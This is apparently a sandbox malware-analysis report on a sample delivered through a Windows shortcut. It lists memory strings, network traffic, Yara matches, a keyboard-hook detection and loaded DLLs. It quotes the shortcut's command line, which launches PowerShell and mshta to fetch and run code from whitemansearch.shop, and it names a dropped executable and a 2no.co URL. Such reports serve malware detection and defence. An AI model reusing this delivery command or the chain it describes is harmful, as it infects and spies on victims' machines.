Source: mshta.exe, 00000004.00000002.2037542726.00000270B511A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033778159.00000270B5119000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup...JL
Source: mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup48
Source: mshta.exe, 00000004.00000002.2037315824.00000270B5075000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036767666.00000270B5075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setup9
Source: forfiles.exe, 00000000.00000002.1997860800.0000022AC8480000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupC:
Source: mshta.exe, 00000004.00000002.2038065089.00000270B6B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupH
Source: mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupK
Source: mshta.exe, 00000004.00000003.2011262421.00000270B508C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B5090000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B5093000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupQ
Source: mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupR
Source: mshta.exe, 00000004.00000003.2032015087.00000278B749B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2030517718.00000278B748F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2031354234.00000278B7491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupX
Source: forfiles.exe, 00000000.00000002.1997817259.0000022AC8470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupaProgramFil
Source: mshta.exe, 00000004.00000003.2034272344.00000278B7503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setuphttp://whitemansearch.shop/setup
Source: mshta.exe, 00000004.00000003.2033340330.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037468417.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5108000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupl/Z
Source: mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupouteHelper.dll
Source: mshta.exe, 00000004.00000003.2036700238.00000278B74CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2039999977.00000278B74CE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2033752697.00000278B74CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupq
Source: mshta.exe, 00000004.00000002.2037905939.00000270B52A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupt
Source: mshta.exe, 00000004.00000003.2011262421.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036398800.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037347752.00000270B50C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setuptC:
Source: mshta.exe, 00000004.00000002.2037273373.00000270B5050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://whitemansearch.shop/setupv3
Source: powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9B29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000008.00000002.2240816951.0000023DA2D70000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2240816951.0000023DA2D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://2no.co/2ZrVm4
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2no.co/2ZrVm4;Set-ItemProperty
Source: powershell.exe, 00000006.00000002.2261109979.000001E850B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2150689893.0000023D8A5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000005.00000003.2013768380.0000011ECA373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000005.00000003.2013768380.0000011ECA300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000008.00000002.2150689893.0000023D8A85E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.2261109979.000001E851735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000004.00000003.2033340330.00000270B5104000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2037468417.00000270B5104000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2011262421.00000270B5104000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026672661.00000270B5104000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000006.00000002.2261109979.000001E85253E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2351092206.000001E860B82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2196850239.0000023D9A631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000006.00000002.2261109979.000001E85238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: ClassroomEc.exe, 0000000C.00000003.2165844334.000000000323C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown

HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49733 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Code function: 12_2_00D68CD0 SetWindowsHookExW 00000002,Function_00008B60,00000000,00000000

12_2_00D68CD0

Source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_c187b674-1

Source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_0f8de507-d

Source: Yara match	File source: 25.3.Identification.pif.4be0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.Identification.pif.4be0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.Identification.pif.1e20000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Identification.pif PID: 8272, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7488.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7364, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7488, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Found URL in windows shortcut file (LNK)

Source: Initial file

Strings: http://whitemansearch.shop/setupshell32.dll%wN

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: setup.lnk

LNK file: /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup

Source: C:\Windows\SysWOW64\cmd.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487AD2C8	8_2_00007FF8487AD2C8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487CD3E0	8_2_00007FF8487CD3E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487A5F50	8_2_00007FF8487A5F50
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487ABA99	8_2_00007FF8487ABA99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487AEAAB	8_2_00007FF8487AEAAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487AE318	8_2_00007FF8487AE318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487BCEA0	8_2_00007FF8487BCEA0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8487ADFE0	8_2_00007FF8487ADFE0
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D88031	12_2_00D88031
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D8810B	12_2_00D8810B
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D883A3	12_2_00D883A3
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D827F0	12_2_00D827F0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.pif F58D3A4B2F3F7F10815C24586FAE91964EEED830369E7E0701B43895B0CEFBD3
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif F58D3A4B2F3F7F10815C24586FAE91964EEED830369E7E0701B43895B0CEFBD3

Source: Producing.12.dr

Static PE information: No import functions for PE file found

Source: Producing.12.dr

Static PE information: Data appended to the last section found

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
